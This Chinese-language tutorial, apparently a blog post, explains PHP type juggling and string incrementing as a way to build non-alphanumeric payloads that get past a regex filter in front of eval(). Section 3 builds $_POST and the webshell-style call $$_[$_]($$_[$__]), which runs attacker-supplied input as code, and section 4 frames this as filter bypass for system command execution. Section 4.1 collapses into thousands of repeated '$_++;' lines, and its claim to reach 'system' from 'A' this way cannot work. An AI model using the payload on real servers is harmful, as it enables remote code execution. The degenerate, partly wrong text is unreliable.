$_=(_/_._)[_] 解密PHP字符串的隐秘操作逻辑

当你在PHP中看到 $_=(_/_._)[_] 这样的代码时,第一反应可能是"这到底在干什么?"这段看似晦涩的代码实际上揭示了PHP类型转换和字符串操作中一些鲜为人知的特性。本文将带你深入理解这些"魔法"行为背后的机制。

1. PHP中的类型转换魔法

PHP以其灵活的类型转换系统而闻名,但这种灵活性有时会导致令人惊讶的结果。让我们从一个简单的例子开始:

$a = "1";
$b = $a + 2;  // $b现在是3,字符串"1"被自动转换为整数1

这种隐式类型转换在日常开发中很常见,但PHP的类型转换远不止于此。考虑以下代码:

$str = "a";
$str++;
echo $str;  // 输出"b"

字符串自增操作会将字符按照ASCII表递增。这是PHP字符串操作中一个有趣但鲜为人知的特性。

1.1 字符串与数字的隐式转换

PHP在处理字符串和数字混合运算时有一套复杂的规则:

  • 如果字符串以数字开头,会被转换为对应的数字值
  • 空字符串转换为0
  • 其他情况下的字符串转换为0,但会抛出警告
var_dump("10abc" + 5);   // int(15)
var_dump("abc10" + 5);   // int(5) 并产生警告

2. 解构 (_/_._)[_] 的奥秘

让我们回到最初那段神秘的代码。 (_/_._)[_] 实际上利用了PHP的多个特性:

  1. _ 是一个未定义的常量,PHP会将其当作字符串"_"处理
  2. / 是除法运算符
  3. . 是字符串连接运算符
  4. [] 是数组访问运算符

具体解析如下:

$_ = (_ / _ . _)[_];
// 等价于:
$_ = ("_" / "_" . "_")["_"];
// "_"/"_"会尝试将字符串转换为数字,得到0/0=NaN
// NaN转换为字符串是"N"或"NaN"(取决于PHP版本)
// 然后连接"_"得到"N_"或"NaN_"
// 最后用"_"作为键访问这个字符串(PHP中字符串可以像数组一样访问)
// "_"转换为整数是0,所以取第一个字符"N"

2.1 字符串的数组式访问

PHP允许使用数组语法访问字符串中的字符:

$str = "Hello";
echo $str[1];  // 输出"e"

当使用字符串作为索引时,PHP会尝试将其转换为整数:

echo $str["1"];    // 输出"e"(字符串"1"转换为整数1)
echo $str["1.9"];  // 输出"e"(转换为整数1)
echo $str["abc"];  // 输出"H"(无法转换,使用0)

3. 构建可执行函数名的技巧

通过字符串自增,我们可以从"N"开始构建出"POST"这样的字符串:

$_ = "N";  // 从(_/_._)[_]得到
$_++;      // "O"
$__ = $_ . $_++;   // "PO"
$_++; $_++; $_++;  // "S"
$__ = $__ . $_;    // "POS"
$_++;              // "T"
$__ = $__ . $_;    // "POST"
$_ = "_" . $__;    // "_POST"

这样我们就构造出了超全局变量 $_POST 的名称,然后可以通过变量变量来访问它:

$$_[$_]($$_[$__]);  // 等价于$_POST[_]($_POST[__])

4. 绕过过滤限制的实战应用

在安全研究中,这些特性可以用来绕过某些过滤限制。考虑以下过滤条件:

if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
    eval($code);
}

这个正则表达式过滤了大部分字母数字和特殊字符,但允许 $ _ + - = ( ) [ ] . , ; 和空格等字符。利用字符串自增和类型转换,我们可以构造出需要的函数名。

4.1 构造系统命令执行

通过上述方法构造出 system 函数名:

// 从"A"开始构造"system"
$_ = "A";
$_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; 